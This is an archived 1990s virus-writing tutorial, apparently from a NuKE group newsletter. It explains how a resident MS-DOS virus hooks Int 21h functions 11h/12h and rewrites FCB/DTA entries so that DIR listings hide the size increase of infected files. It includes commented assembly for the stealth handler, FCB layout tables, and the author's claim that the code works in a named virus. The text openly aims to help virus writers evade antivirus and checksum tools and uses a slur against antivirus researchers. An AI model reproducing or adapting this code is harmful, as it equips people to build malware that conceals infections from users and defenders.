home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / rstut007.txt < prev    next >
Encoding:
Text File  |  1996-04-16  |  11.5 KB  |  158 lines

  1.                           
  2.                      *****************************    
  3.                      **   Directory Stealth     **                              
  4.                      **                         **                              
  5.                      **   By Rock Steady/NuKE   ** 
  6.                      *****************************
  7.  
  8.   Stealth Viruses are the Viruses that I must admit Anti-Viral Queers      
  9.   Don't tend to like at all. Emagine if we added a Polymorphic feature into
  10.   the Stealth Virus? But, if you want to Continue Writing Viruses you have 
  11.   to make them Stealth. MS-DOS Version 6.0 Now comes with Virus Scanners   
  12.   and CRC & Checksum Checkers. In order to stop many viruses, But it will  
  13.   NEVER stop the `Stealth' Virus that is SMART of those AV features!       
  14.                                                                            
  15.   People think that there is ALOT of more INFECTED PCs since the virus     
  16.   threat, started in 1986-7. Even though in the beginning only 10 or so    
  17.   viruses were known, they Infected more systems, Compared to the viruses  
  18.   today, where we have about 1300 and growing. But the truth is LESS PCs   
  19.   are getting infect now, as people are now Virus Aware. With all the      
  20.   utilities out, any joker can stop and clean a virus in seconds. Come     
  21.   on, how many people MEMORIZED COMMAND.COM size? Out of my head its       
  22.   47845 (MS-Dos V5.0). A simple increase of size tells me I got a problem. 
  23.                                                                            
  24.   A simple Stealth Feature every virus MUST have is the DOS `Dir' Stealth  
  25.   feature. That will NOT show you the INCREASE of file size, when the      
  26.   virus infects it. I have played with a few routines as such. I have      
  27.   tried reducing the File size in the FAT area, which results in the       
  28.   famous CHKDSK error reports of Loss Sectors, or Cross Links... And       
  29.   fixing them with CHKDSK will result in damaging the file for good.       
  30.                                                                            
  31.   What can we do? How about reducing the File size Right AFTER its read    
  32.   by DOS or any Utilities and right BEFORE its display on the screen!      
  33.   Yeah that's an Idea, Here's how to go about it...                        
  34.                                                                            
  35.   %Theory%                                                                 
  36.   ~~~~~~~~                                                                 
  37.   First we must HOOK Int 21h, as every time a `DIR' is done, Int 21h       
  38.   function 11h & 12h is called! If you don't know how to Hook Interrupts   
  39.   Read RESIDENT VIRIIs Article in this NewsLetter.                         
  40.                                                                            
  41.    Int21_Handler:                                                          
  42.           cmp     ah,11h                  ;Is a DOS `Dir' being done?      
  43.           je      dir_stealth             ;Yes, Jump to `DIR_STEALTH'      
  44.           cmp     ah,12h                  ;Is a DOR `Dir' Being done?      
  45.           je      dir_stealth             ;Yes, Jump to `DIR_STEALTH'      
  46.                                                                            
  47.   Int21Call:                                                               
  48.           jmp     dword ptr cs:[Int21]    ;Or Else Goto ORIGINAL Int 21h   
  49.           ret                             ;Is need for the CALL of below   
  50.                                                                            
  51.   That's all that is needed in your Int21_Handler. Ofcourse if you are     
  52.   infecting file that are being Execute you add it ABOVE! Anyhow lets      
  53.   Explain the `DIR_STEALTH'                                                
  54.                                                                            
  55.   Offset  Size   Description                                               
  56.     ────┼─────┼───────[Normal FCB]──────────────────────────────────       
  57.     00h │  1  │  Drive Number 00=current drive 01=A,02=B,03=C etc..        
  58.     01h │  8  │  Filename. Unused Spaces padded with Blanks                
  59.     09h │  3  │  Extension of Filename.                                    
  60.     0Ch │  2  │  Current block. points to block of records                 
  61.     0Eh │  2  │  Record Size.                                              
  62.     10h │  4  │  FileSize in Bytes. (Low-order first, then high-order)     
  63.     14h │  2  │  Date of Last Write. YY-MM-DD into bits YYYY-YYYM-MMMD-DDDD
  64.     16h │  2  │  Time of Last Write. HH:MM:SS into bits HHHH-HMMM-MMMS-SSSS
  65.     18h │  4  │  Reserved                                                  
  66.    *1Ch │  4  │  SAME `10h' but THIS FILESIZE gets printed on Screen!      
  67.     20h │  1  │  Offset of current record                                  
  68.     21h │  4  │  Relative Record                                           
  69.                                                                            
  70.   * = Field Changed by virus.                                              
  71.                                                                            
  72.   Extended FCB: Are Identical to the Normal FCB but, it has three new      
  73.   ~~~~~~~~~~~~  fields totalling 7 bytes. (That is why we add y to BX)     
  74.                 The additional 7 bytes are added to the BEGINNING!         
  75.                                                                            
  76.                                                                            
  77.   Offset  Size   Description                                               
  78.     ────┼─────┼───────[Extended FCB]────────────────────────────────       
  79.    -07h │  1  │  ALWAYS FFh tells use this is an Extended FCB              
  80.    -06h │  5  │  Reserved for DOS                                          
  81.    -01h │  1  │  Attribute Byte                                            
  82.                                                                            
  83.   So if we have an Extended FCB the first Byte will be FFh simply INC it   
  84.   and if its ZERO you got a Extended FCB! You can also CMP ES:[BX],FFh     
  85.   but that takes too many Bytes! Be COMPACT!!!                             
  86.                                                                            
  87.  %Algorithms%                                                              
  88.  ~~~~~~~~~~~~                                                              
  89.  CONDISTION: After calling Function 11h/12h (Int 21h) it will              
  90.        search with the contents in the FCB. (*.*) which the DS:DX          
  91.        registers point to the FCB. If successful it will DUPLICATE         
  92.        the specified of the FCB in the current DTA (Disk Transfer Area)    
  93.        And basically we will EDIT the info in the DTA!                     
  94.  NOTE: Just because we are using the DTA doesn't mean this will work for   
  95.        function 4Eh/4Fh (Int 21h) that uses the DTA and ASCIIZ strings to  
  96.        search, that is a different procedure, though somewhat the same as  
  97.        this one. See Method #2, for that.                                  
  98.                                                                            
  99.    Step 1. We call the Int 21h so we may have the results to play with     
  100.            BEFORE DOS displays them on screen.                             
  101.    Step 2. Get the Current PSP, As the FCB is located inside the PSP       
  102.            in COM files its CS:0000 - CS:00FF. But in EXEs it can be any-  
  103.            where, Int21h/AH=51 (Undocemented) will do this for us.         
  104.    Step 3. Unmask the seconds (see if its infected) Quit if NOT            
  105.    Step 4. Get the current DTA                                             
  106.    Step 5. Test if it is Either an Extended FCB or Normal! If Extended     
  107.            Simple add 7h to the Address. (As Extended only have 7 bytes    
  108.            extra in the begining)                                          
  109.    Step 6. Minus File size from the DTA! & Restore Time Back               
  110.                                                                            
  111.  ; Here it is... Method #1                                                 
  112.                                                                            
  113.    dir_stealth:                                                            
  114.           pushf                   ;Fake an INT Call                        
  115.           push    cs              ;Needed to return back HERE! (Virus)     
  116.           call    Int21Call       ;Call the interrupt (See `Int21_Handler')
  117.           test    al,al           ;AL=00h if successful                    
  118.           jnz     no_good         ;Not Successful. Errors Eg:No More Files 
  119.                                                                            
  120.           push    ax                                                       
  121.           push    bx      ;Save them since they will be used! So when      
  122.           push    es      ;We exit all is restored to as Before!           
  123.           mov     ah,51h  ;(Undocmented) Gets the Current PSP and puts     
  124.           int     21h     ;it into BX                                      
  125.                                                                            
  126.           mov     es,bx         ;ES now has PSP segment Address            
  127.           cmp     bx,es:[16h]   ;Did we open a Good PSP?                   
  128.           jnz     exit_man      ;No, PSP unavailable, Exit Dude            
  129.           mov     bx,dx         ;BX now points to the Original FCB in PSP  
  130.           mov     al,[bx]       ;AL now has the current drive              
  131.           push    ax            ;Save it to tell if its an Extended FCB    
  132.           mov     ah,2fh        ;Get DTA (Disk Transfer Address)           
  133.           int     21h                                                      
  134.   ;Also before we start fiddling around we must know if we are working with
  135.   ;And EXTENDED FCB or the Normal FCB, or else Major Problems! The Extended
  136.   ;Has three fields appended to the normal one... (Above)                  
  137.                                                                            
  138.           pop     ax            ; AL = FFh if Extended FCB or else Drive # 
  139.           inc     al            ; Will tell us if we have an Extended FCB  
  140.           jnz     fcb_ok        ; No, We don't continue as normal          
  141.           add     bx,7h         ; Yes, we do, add 7h to BX pointer         
  142.   fcb_ok: mov     ax,es:[bx+17h]  ;Gets Seconds Field                      
  143.           and     ax,1fh          ;Unmask to have SECONDS only             
  144.           xor     al,1dh          ;is it 58 seconds? (1d * 2)              
  145.           jnz     not_infected    ;Nope, okay its not infected             
  146.           and     byte ptr es:[bx+17h],0e0h   ;Restores seconds            
  147.           sub     es:[bx+1dh],virus_size      ;Subtract FileSize with Virii
  148.           sbb     es:[bx+1fh],ax              ;Needed to fix up Bytes with 
  149.   not_infected:                               ;Borrowing                   
  150.           pop     es              ;Ciao, Ciao                              
  151.           pop     bx                                                       
  152.           pop     ax                                                       
  153.   no_good:iret             ;Pretend you came back from an Interrupt call!  
  154.   ;----------------------------The EnD-------------------------------------
  155.                           Rock Steady / NuKE                               
  156.                  `Feed my Frankenstein', Alice Cooper                      
  157.   NOTE: This Code Works, Look at NuKE PoX V1.1 to see it...                
  158.